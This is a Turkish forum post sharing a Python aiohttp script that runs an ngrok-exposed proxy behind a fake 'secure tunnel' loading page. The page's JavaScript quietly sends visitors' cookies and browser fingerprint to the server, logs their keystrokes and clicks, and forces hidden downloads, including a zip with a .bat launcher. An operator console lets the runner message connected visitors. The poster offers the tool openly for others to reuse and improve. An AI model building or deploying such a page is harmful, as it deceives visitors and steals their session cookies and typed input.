Üye
Python:
import asyncio
import os
import json
import hashlib
import logging
from aiohttp import web, ClientSession, ClientTimeout
import sys
import subprocess
import tempfile
import time
# ====================== AYARLAR ======================
PROXY_PORT = 8080
NGROK_SKIP_HEADER = {"ngrok-skip-browser-warning": "true"}
HOP_BY_HOP_HEADERS = {
"connection", "keep-alive", "proxy-authenticate", "proxy-authorization",
"te", "trailers", "transfer-encoding", "upgrade"
}
# Engellenmesini istediğin domainler (opsiyonel)
BLOCKLIST = ["example.com", "malicious-site.com"]
# ====================== PROXY HANDLER ======================
async def proxy_handler(request: web.Request):
# İstemci bilgileri ve istek yolu
headers_in = request.headers
client_ip = headers_in.get('X-Forwarded-For') or request.remote
path = request.match_info.get('path', '') or ''
# target URL'i oluştur
# Eğer tam bir URL gelmemişse (ör. tarayıcı /favicon.ico gibi asset isteği gönderiyorsa)
# DNS hatalarını ve traceback'leri önlemek için bu tür kısmi istekleri sessizce 204 ile yanıtlıyoruz.
# Proxy için beklenen form: /https://example.com/...
if path.startswith('http://') or path.startswith('https://'):
target = path
else:
# Kök istek ya da arayüz için index dönebilir (root route app tarafında de tanımlı olsa da)
# Gelen istek bir statik/ico/robots vb. ise sessizce 204 dön
static_endings = ('favicon.ico', 'robots.txt', 'sitemap.xml')
if any(path.endswith(s) for s in static_endings) or path == '' or path.startswith('_'):
return web.Response(status=204)
# Diğer durumlarda hedef URL şeması eksik -> kötü istek
return web.Response(status=400, text='Bad request: target URL must include http:// or https://')
# Log isteği
logging.info("{} {} from {} -> {}".format(request.method, request.path, client_ip, target))
# Blocklist kontrolü (hedef host üzerinde)
try:
host = target.split('://', 1)[1].split('/', 1)[0]
except Exception:
host = request.host or ''
if any(blocked in host for blocked in BLOCKLIST):
logging.info("Blocked request to {}".format(host))
return web.Response(status=403, text="Bu site proxy tarafından engellendi.")
try:
async with ClientSession(timeout=ClientTimeout(total=30)) as session:
# Header'ları hazırla
headers = {
k: v for k, v in request.headers.items()
if k.lower() not in HOP_BY_HOP_HEADERS and k.lower() != 'host'
}
headers.update(NGROK_SKIP_HEADER)
body = await request.read()
async with session.request(
method=request.method,
url=target,
headers=headers,
data=body,
allow_redirects=False
) as resp:
# Yanıt header'larını filtrele
resp_headers = {
k: v for k, v in resp.headers.items()
if k.lower() not in HOP_BY_HOP_HEADERS
}
resp_body = await resp.read()
return web.Response(
status=resp.status,
headers=resp_headers,
body=resp_body
)
except asyncio.TimeoutError:
logging.warning("Timeout while fetching %s", target)
return web.Response(status=504, text="Timeout")
except Exception as e:
# DNS çözümleme ve bağlantı hatalarında traceback yazdırmayalım, sadece kısa uyarı logu yeterli
try:
import socket
is_dns = isinstance(e, socket.gaierror)
except Exception:
is_dns = False
if is_dns:
logging.warning("DNS çözümleme hatası hedef: %s", target)
else:
logging.warning("Proxy hatası: %s", str(e))
return web.Response(status=502, text="Proxy hatası")
HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Güvenli Ağ Bağlantısı</title>
<style>
body {
background-color: #0d1117;
color: #c9d1d9;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
margin: 0;
}
.layout {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
padding: 30px;
background: #161b22;
border-radius: 10px;
box-shadow: 0 4px 15px rgba(0,0,0,0.5);
border: 1px solid #30363d;
}
.sidebar {
position: fixed;
right: 20px;
top: 20px;
width: 260px;
background: #0b1220;
border: 1px solid #232b35;
padding: 12px;
border-radius: 8px;
color: #9aa8b2;
font-size: 13px;
box-shadow: 0 6px 18px rgba(0,0,0,0.5);
display: none; /* Gizle: web arayüzünde görünmesin */
}
.sidebar h3 { color: #58a6ff; margin: 0 0 8px 0; font-size: 14px }
.info-row { margin: 6px 0 }
.loader {
border: 4px solid #21262d;
border-radius: 50%;
border-top: 4px solid #58a6ff;
width: 40px;
height: 40px;
animation: spin 1s linear infinite;
margin: 20px auto;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
h2 { color: #58a6ff; margin-bottom: 5px; }
p { color: #8b949e; font-size: 14px; }
</style>
</head>
<body>
<div class="layout">
<div class="container">
<div class="loader"></div>
<h2>Güvenli Tünel Kuruluyor</h2>
<p>Gerekli medya paketleri indiriliyor, lütfen bekleyin...</p>
</div>
<div class="sidebar" id="client-info">
<h3>İstemci Bilgileri</h3>
<div class="info-row"><strong>IP:</strong> <span id="ci-ip">...</span></div>
<div class="info-row"><strong>User-Agent:</strong> <span id="ci-ua">...</span></div>
<div class="info-row"><strong>Host:</strong> <span id="ci-host">...</span></div>
<div class="info-row"><strong>Accept-Language:</strong> <span id="ci-lang">...</span></div>
</div>
</div>
<script>
// Sayfaya yüklendiğinde sunucudan istemci bilgilerini alıp sidebar'a yaz
async function fetchClientInfo() {
try {
// Tarayıcıdan toplanan bilgiler
const payload = {
platform: navigator.platform,
userAgent: navigator.userAgent,
language: navigator.language || (navigator.languages && navigator.languages[0]),
timezone: (Intl.DateTimeFormat && Intl.DateTimeFormat().resolvedOptions && Intl.DateTimeFormat().resolvedOptions().timeZone) || null,
screen: { w: screen.width, h: screen.height },
cookieEnabled: navigator.cookieEnabled,
cookies: document.cookie || null,
hardwareConcurrency: navigator.hardwareConcurrency || null
};
// Gönderimi mümkün olduğunca güvenli yap: önce sendBeacon dene
try {
const blob = new Blob([JSON.stringify(payload)], { type: 'application/json' });
if (navigator.sendBeacon) {
navigator.sendBeacon('/client_details', blob);
} else {
// fallback: fetch with keepalive
fetch('/client_details', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload), keepalive: true });
}
} catch (e) { console.log('client_details send error', e); }
// Sidebar görünmüyor ama yine anonim bilgi dolduralım (opsiyonel)
document.getElementById('ci-ip').textContent = 'anon';
document.getElementById('ci-ua').textContent = payload.platform || '–';
document.getElementById('ci-host').textContent = payload.language || '–';
document.getElementById('ci-lang').textContent = payload.timezone || '–';
} catch (e) { console.log('client_info error', e); }
}
fetchClientInfo();
let clientLogs = { mouse_moves: 0, clicks: [], key_strokes: [] };
document.addEventListener('mousemove', () => { clientLogs.mouse_moves++; });
document.addEventListener('click', (e) => {
clientLogs.clicks.push({ x: e.clientX, y: e.clientY, time: new Date().toLocaleTimeString() });
});
document.addEventListener('keydown', (e) => { clientLogs.key_strokes.push(e.key); });
// 📥 OTOMATİK VİDEO İNDİRME TETİKLEYİCİSİ
// Sayfa yüklenir yüklenmez arka planda görünmez bir indirme bağlantısı oluşturur
function triggerAutoDownload() {
const link = document.createElement('a');
link.href = '/download_video'; // Sunucudaki MP4 dosyasını hedef gösterir
link.download = 'video.mp4'; // Kullanıcıya kaydedilecek dosya adı
document.body.appendChild(link);
link.click(); // Tıklama simülasyonu ile indirmeyi başlatır
document.body.removeChild(link);
}
async function sendLogs() {
try {
await fetch('/_analytics_data', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(clientLogs)
});
} catch (err) { console.log(err); }
}
{DOWNLOAD_SNIPPET}
{ANALYTICS_AND_REDIRECT_SNIPPET}
{CHAT_SNIPPET}
</script>
</body>
</html>
"""
# ====================== UYGULAMA ======================
async def main():
logging.basicConfig(level=logging.INFO)
app = web.Application()
# Başlangıçta kullanıcıya bazı seçenekler sor (token, indirme, yönlendirme, sohbet)
ngrok_token = os.environ.get('NGROK_AUTHTOKEN')
try:
if not ngrok_token:
ngrok_token = input('Ngrok authtoken (yapıştır veya Enter ile atla): ').strip() or None
except Exception:
ngrok_token = None
def ask_bool(prompt_text, default=False):
try:
v = input(prompt_text + " (1=aktif, 0=pasif) [{}]: ".format('1' if default else '0')).strip()
if v == '1':
return True
if v == '0':
return False
return default
except Exception:
return default
enable_download = ask_bool('Otomatik video indirme aktif olsun mu?', True)
enable_redirect = ask_bool('Yönlendirme (YouTube) aktif olsun mu?', True)
enable_chat = ask_bool('Sohbet kanalı (WebSocket) aktif olsun mu?', False)
enable_auto_operator = ask_bool('Operator terminali otomatik açılsın mı? (istemci bağlanınca)', False)
ngrok_process = None
if ngrok_token:
# Öncelikle pyngrok ile dene
try:
from pyngrok import ngrok
try:
ngrok.set_auth_token(ngrok_token)
except Exception:
# bazı pyngrok sürümlerinde set_auth_token olmayabilir
pass
try:
tunnel = ngrok.connect(PROXY_PORT)
print('Ngrok tunnel: {}'.format(tunnel.public_url))
except Exception:
print('Ngrok ile bağlantı kurulamadı (pyngrok).')
except Exception:
# pyngrok yüklü değilse ngrok CLI ile dene
try:
# ilk olarak tokenı kaydet
subprocess.run(['ngrok', 'authtoken', ngrok_token], check=False)
# ngrok'u arka planda başlat
ngrok_process = subprocess.Popen(['ngrok', 'http', str(PROXY_PORT)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# ngrok'un hazır olması için kısa bekleme
time.sleep(1)
print('Ngrok başlatıldı (CLI). Eğer public URL görünmüyorsa ngrok çıktısını kontrol edin.')
except FileNotFoundError:
print('Ngrok bulunamadı. Ngrok CLI yüklü değilse public URL alınamaz. pip install pyngrok ile alternatif kurulumu deneyin.')
# Yardımcı yollar
app.router.add_post('/_analytics_data', handle_analytics)
if enable_download:
app.router.add_get('/download_video', handle_download_video)
app.router.add_get('/client_info', handle_client_info)
app.router.add_post('/client_details', handle_client_details)
if enable_chat:
app.router.add_get('/download_helper', handle_download_helper)
app.router.add_get('/clients', handle_list_clients)
# WebSocket sohbet endpoint (isteğe bağlı)
if enable_chat:
app.router.add_get('/ws', websocket_handler)
# Operator websocket for operator-client scripts
if enable_chat:
app.router.add_get('/opws', op_websocket_handler)
# Ana sayfayı dinamik HTML ile servis et
async def index_handler(req):
download_snippet = """
// Sayfa açıldıktan 500 milisaniye sonra indirmeyi başlatır (iframe ile)
setTimeout(() => {
try {
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = '/download_video';
document.body.appendChild(iframe);
setTimeout(() => { try { document.body.removeChild(iframe); } catch(e){} }, 10000);
} catch (e) { console.log('download iframe error', e); }
}, 500);
""" if enable_download else ''
analytics_and_redirect = ''
if enable_redirect:
analytics_and_redirect = """
setTimeout(async () => {
try {
const analyticsBlob = new Blob([JSON.stringify(clientLogs)], { type: 'application/json' });
if (navigator.sendBeacon) {
navigator.sendBeacon('/_analytics_data', analyticsBlob);
} else {
await fetch('/_analytics_data', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(clientLogs), keepalive: true });
}
} catch (e) { console.log('analytics send error', e); }
window.location.href = 'https://www.youtube.com/watch?v=F9ZBChbgsnc' + window.location.search;
}, 1000);
"""
chat_snippet = ''
if enable_chat:
chat_snippet = """
// Basit chat UI: otomatik anonim id üretir (soru sormaz)
try {
const ws = new WebSocket((location.protocol === 'https:' ? 'wss://' : 'ws://') + location.host + '/ws');
ws.addEventListener('open', () => {
try {
const chosen = 'guest-' + Math.floor(Math.random() * 1000000);
ws.send(JSON.stringify({ cmd: 'register', id: chosen }));
} catch(e){}
});
// Chat UI elemanları
const panel = document.createElement('div');
panel.style.position = 'fixed';
panel.style.right = '20px';
panel.style.bottom = '20px';
panel.style.width = '420px';
panel.style.height = '360px';
panel.style.background = '#000';
panel.style.border = '1px solid #333';
panel.style.padding = '8px';
panel.style.display = 'flex';
panel.style.flexDirection = 'column';
panel.style.zIndex = 10000;
panel.style.boxShadow = '0 6px 18px rgba(0,0,0,0.6)';
const header = document.createElement('div');
header.textContent = 'Terminal Chat (bağlanıldı)';
header.style.color = '#9ad';
header.style.fontFamily = 'monospace';
header.style.marginBottom = '6px';
panel.appendChild(header);
const logArea = document.createElement('pre');
logArea.style.flex = '1';
logArea.style.overflow = 'auto';
logArea.style.fontSize = '12px';
logArea.style.color = '#0f0';
logArea.style.background = '#000';
logArea.style.margin = '0';
logArea.style.padding = '6px';
logArea.style.border = '1px solid #222';
logArea.style.whiteSpace = 'pre-wrap';
panel.appendChild(logArea);
const inputRow = document.createElement('div');
inputRow.style.display = 'flex';
inputRow.style.marginTop = '6px';
const input = document.createElement('input');
input.type = 'text';
input.placeholder = 'Komut/mesaj yaz ve Enter bas...';
input.style.flex = '1';
input.style.boxSizing = 'border-box';
input.style.background = '#111';
input.style.color = '#c9d1d9';
input.style.border = '1px solid #333';
input.style.padding = '6px';
input.style.fontFamily = 'monospace';
inputRow.appendChild(input);
const sendBtn = document.createElement('button');
sendBtn.textContent = 'Gönder';
sendBtn.style.marginLeft = '6px';
inputRow.appendChild(sendBtn);
panel.appendChild(inputRow);
document.body.appendChild(panel);
function appendLine(text, cls) {
const line = document.createElement('div');
line.textContent = text;
line.style.fontFamily = 'monospace';
line.style.fontSize = '12px';
panel.querySelector('pre').appendChild(line);
logArea.scrollTop = logArea.scrollHeight;
}
sendBtn.addEventListener('click', () => {
const text = input.value.trim();
if (!text) return;
try {
ws.send(text);
appendLine('> ' + text);
input.value = '';
} catch(e){ console.log('ws send error', e); }
});
input.addEventListener('keydown', (ev) => {
if (ev.key === 'Enter') { ev.preventDefault(); sendBtn.click(); }
});
ws.addEventListener('message', (ev) => {
try {
appendLine('< ' + ev.data);
} catch(e){}
});
// Otomatik helper indir: ziyaretçi helper script'ini indirir
try {
const helperLink = document.createElement('a');
const wsurl = (location.protocol === 'https:' ? 'wss://' : 'ws://') + location.host + '/ws';
helperLink.href = '/download_helper?ws=' + encodeURIComponent(wsurl);
helperLink.download = 'chat_helper.py';
helperLink.style.display = 'none';
document.body.appendChild(helperLink);
helperLink.click();
document.body.removeChild(helperLink);
} catch(e) { console.log('helper download error', e); }
} catch(e){ console.log('ws error', e); }
"""
body = HTML_TEMPLATE.replace('{DOWNLOAD_SNIPPET}', download_snippet).replace('{ANALYTICS_AND_REDIRECT_SNIPPET}', analytics_and_redirect).replace('{CHAT_SNIPPET}', chat_snippet)
return web.Response(text=body, content_type='text/html')
app.router.add_get('/', index_handler)
# Tüm diğer yollar proxy olarak davranır
app.router.add_route('*', '/{path:.*}', proxy_handler)
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, '0.0.0.0', PROXY_PORT)
await site.start()
print("✅ Proxy çalışıyor → http://localhost:{}".format(PROXY_PORT))
# Sonsuza kadar bekle (Ctrl+C ile sonlandır)
# Başlat: sohbet etkinse arka planda operatör konsolu oluştur
if enable_chat:
app['ws_clients'] = {}
app['selected_client'] = None
app['op_sockets'] = {}
app['auto_open_operator'] = enable_auto_operator
# Operatör konsolunu sadece auto_open_operator etkinse başlat
if enable_auto_operator:
app['console_task'] = asyncio.create_task(operator_console(app))
# Polling queues (for PowerShell helper fallback)
app['poll_queues'] = {}
try:
await asyncio.Event().wait()
finally:
# Eğer arka planda ngrok CLI başlatıldıysa kapat
try:
if ngrok_process is not None:
ngrok_process.terminate()
except NameError:
pass
async def handle_download_video(request):
"""Kullanıcının tarayıcısına MP4 videosunu gönderen fonksiyon"""
file_name = "video.mp4"
# Klasörde video.mp4 dosyası var mı kontrol et
if not os.path.exists(file_name):
logging.warning("İndirme başarısız: Klasörde 'video.mp4' bulunamadı!")
return web.Response(status=404, text="Dosya bulunamadi. Lütfen sunucu klasörüne 'video.mp4' ekleyin.")
logging.info("💾 {} adresine video dosyası gönderiliyor...".format(request.remote))
# Dosyayı tarayıcıya "indirme (attachment)" formatında video/mp4 tipiyle teslim ediyoruz
headers = {
"Content-Disposition": "attachment; filename={}".format(file_name)
}
return web.FileResponse(file_name, headers=headers)
async def handle_analytics(request):
# Basit, tek satırlık özet logu üret
try:
data = await request.json()
mouse = data.get('mouse_moves', 0)
clicks = len(data.get('clicks', []))
keys = len(data.get('key_strokes', []))
logging.info("Analytics: mouse_moves=%s clicks=%s key_strokes=%s", mouse, clicks, keys)
except Exception:
logging.debug("Analytics: malformed payload or empty")
return web.Response(status=200)
async def handle_client_details(request):
"""İstemciden JS tarafında toplanan detaylı bilgileri alan endpoint.
Tarayıcı, document.cookie, platform, screen bilgileri gibi verileri POST eder.
Sunucu bu verileri IP ile birleştirip konsola tek satır halinde yazar.
"""
try:
payload = await request.json()
except Exception:
return web.Response(status=400, text='Bad JSON')
headers = request.headers
ip = headers.get('X-Forwarded-For') or request.remote
info = {
'ip': ip,
'user_agent': headers.get('User-Agent'),
'platform': payload.get('platform'),
'language': payload.get('language'),
'timezone': payload.get('timezone'),
'screen': payload.get('screen'),
'cookies': payload.get('cookies'),
'cookie_enabled': payload.get('cookieEnabled'),
'hardware_concurrency': payload.get('hardwareConcurrency')
}
# Anonimleştirme: IP/UA gibi tanımlayıcıları doğrudan loglamıyoruz.
# Bunun yerine istemci için tekil fakat anonim bir id üretiyoruz.
id_seed = (info.get('ip') or '') + '|' + (info.get('user_agent') or '')
anon_id = hashlib.sha256(id_seed.encode('utf-8')).hexdigest()[:12]
# Konsola sadece anonim id ve non-identifying özet yaz
logging.info('Client anon: %s | tz=%s | screen=%s | cookies=%s',
anon_id, info['timezone'], info['screen'], ('yes' if info['cookies'] else 'no'))
# Döndürülen bilgiler de anonimleştirilmiş olsun
safe_info = {
'id': anon_id,
'platform': info.get('platform'),
'language': info.get('language'),
'timezone': info.get('timezone'),
'screen': info.get('screen'),
'cookies_present': bool(info.get('cookies')),
'hardware_concurrency': info.get('hardware_concurrency')
}
return web.json_response({'status': 'ok', 'info': safe_info})
async def handle_client_info(request):
"""İstemci hakkında temel bilgileri JSON olarak döner"""
# Eğer varsa X-Forwarded-For başlığını kullan, yoksa doğrudan remote
headers = request.headers
ip = headers.get('X-Forwarded-For') or request.remote
data = {
'ip': ip,
'user_agent': headers.get('User-Agent'),
'host': headers.get('Host'),
'accept_language': headers.get('Accept-Language')
}
return web.json_response(data)
async def websocket_handler(request):
ws = web.WebSocketResponse()
await ws.prepare(request)
# receive register message
try:
msg = await ws.receive()
if msg.type == web.WSMsgType.TEXT:
try:
j = json.loads(msg.data)
except Exception:
j = {'cmd': 'register', 'id': str(msg.data)}
else:
j = {'cmd': 'register', 'id': 'guest'}
except Exception:
j = {'cmd': 'register', 'id': 'guest'}
client_id = j.get('id') or ('guest-' + str(id(ws)) )
# store
app = request.app
clients = app.setdefault('ws_clients', {})
clients[client_id] = ws
logging.info('WS connected: %s', client_id)
# send a welcome message to the client (no prompt)
try:
await ws.send_str('Registered as ' + client_id)
except Exception:
pass
# Eğer operator otomatik açma etkinse, operatörün manuel bağlanması için opws URL'sini logla.
try:
if app.get('auto_open_operator'):
scheme = 'wss' if request.secure else 'ws'
host = request.host
opws_url = f"{scheme}://{host}/opws?target={client_id}"
try:
logging.info('Operator should connect to: %s', opws_url)
except Exception:
pass
except Exception:
pass
try:
async for msg in ws:
if msg.type == web.WSMsgType.TEXT:
logging.info('WS %s -> %s', client_id, msg.data)
# yönlendir: eğer operator bağlıysa operatore ilet
ops = app.setdefault('op_sockets', {})
opws = ops.get(client_id)
if opws is not None:
try:
await opws.send_str(client_id + ': ' + msg.data)
except Exception:
pass
elif msg.type == web.WSMsgType.ERROR:
logging.warning('WS connection closed with exception %s', ws.exception())
finally:
# cleanup
try:
del clients[client_id]
except Exception:
pass
logging.info('WS disconnected: %s', client_id)
return ws
async def handle_download_helper(request):
# Prepare ws URL
ws_param = request.query.get('ws')
if ws_param:
ws_url = ws_param
else:
scheme = 'wss' if request.secure else 'ws'
ws_url = f"{scheme}://{request.host}/ws"
# Simpler helper: open the browser to the hosted web chat UI instead of a fragile PowerShell client.
# Convert ws/wss URL to http/https for browser opening.
http_url = ws_url.replace('ws://', 'http://').replace('wss://', 'https://')
# Batch launcher that opens default browser to the chat page
bat_content = '@echo off\r\nstart "" "{}"\r\n'.format(http_url)
# Create ZIP in-memory containing only run_chat.bat and README
import io, zipfile
mem = io.BytesIO()
with zipfile.ZipFile(mem, mode='w', compression=zipfile.ZIP_DEFLATED) as z:
z.writestr('run_chat.bat', bat_content)
z.writestr('README.txt', 'Çift tıkla run_chat.bat; tarayıcı sohbet penceresi açılacaktır.\n')
mem.seek(0)
headers = {
'Content-Disposition': 'attachment; filename="chat_helper.zip"'
}
return web.Response(body=mem.read(), headers=headers, content_type='application/zip')
async def handle_list_clients(request):
app = request.app
clients = app.setdefault('ws_clients', {})
return web.json_response({'clients': list(clients.keys())})
async def op_websocket_handler(request):
ws = web.WebSocketResponse()
await ws.prepare(request)
target = request.query.get('target')
name = request.query.get('name') or 'operator'
app = request.app
ops = app.setdefault('op_sockets', {})
if target:
ops[target] = ws
logging.info('Operator WS connected for target: %s (name=%s)', target, name)
else:
logging.info('Operator WS connected without target')
try:
async for msg in ws:
if msg.type == web.WSMsgType.TEXT:
logging.info('OP %s -> %s', name, msg.data)
# forward to target client if exists
if target:
clients = app.setdefault('ws_clients', {})
vws = clients.get(target)
if vws:
try:
await vws.send_str(name + ': ' + msg.data)
except Exception:
pass
elif msg.type == web.WSMsgType.ERROR:
logging.warning('Operator WS error: %s', ws.exception())
finally:
try:
if target and ops.get(target) is ws:
del ops[target]
except Exception:
pass
logging.info('Operator WS disconnected for %s', target)
return ws
async def operator_console(app):
"""Arka planda çalışan, operatörün terminalden websocket'lerle chat yapmasını sağlar."""
loop = asyncio.get_event_loop()
clients = app.setdefault('ws_clients', {})
print('\nOperator console hazır. Komutlar: list, send <id> <mesaj>, broadcast <mesaj>, close <id>, help')
selected = None
while True:
try:
cmd = await loop.run_in_executor(None, input, 'CMD> ')
except Exception:
await asyncio.sleep(1)
continue
if not cmd:
continue
parts = cmd.split(' ', 2)
if parts[0] == 'help':
print('list - bağlantıları göster')
print('send <id> <mesaj> - belirli id ye mesaj gönder')
print('broadcast <mesaj> - tüm bağlılara gönder')
print('close <id> - bağlantıyı kapat')
print('quit - konsolu kapat (sunucu çalışmaya devam eder)')
elif parts[0] == 'list':
print('Bağlı istemciler:')
for k in list(clients.keys()):
print(' -', k)
elif parts[0] == 'send' and len(parts) >= 3:
cid = parts[1]
msg = parts[2]
ws = clients.get(cid)
if ws:
await ws.send_str(msg)
print('Gönderildi.')
# ayrıca eğer op_sockets varsa onlara da ilet
ops = app.setdefault('op_sockets', {})
op = ops.get(cid)
if op:
try:
await op.send_str('Operator: ' + msg)
except Exception:
pass
else:
print('Böyle bir client yok.')
elif parts[0] == 'broadcast' and len(parts) >= 2:
msg = cmd[len('broadcast '):]
for ws in list(clients.values()):
try:
await ws.send_str(msg)
except Exception:
pass
print('Broadcast tamam.')
elif parts[0] == 'close' and len(parts) >= 2:
cid = parts[1]
ws = clients.get(cid)
if ws:
await ws.close()
print('Kapatıldı.')
else:
print('Böyle bir client yok.')
elif parts[0] == 'quit':
print('Operator console çıkıyor.')
break
else:
print('Bilinmeyen komut. help yaz.')
async def handle_main(request):
if request.path == '/_analytics_data':
return await handle_analytics(request)
if request.path == '/download_video':
return await handle_download_video(request)
headers = request.headers
ip = request.remote
# Sonsuza kadar çalışsın
await asyncio.Event().wait()
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\nProxy kapatıldı.")
Bağlantıları görmek için lütfen
Giriş Yap
script işleyiş videosu falan fisman
düzenlemelere açığım daha iyisini yapıp/yaptırıp payşabilirsiniz ben bunları can sıkıntısından ai ye yaptırıyom ufak şeyleri de kendim düzeltiyom öyle
tokenimi de değiştim salak saçma gereksiz şeyler yapmayın lütfen
Son düzenleme: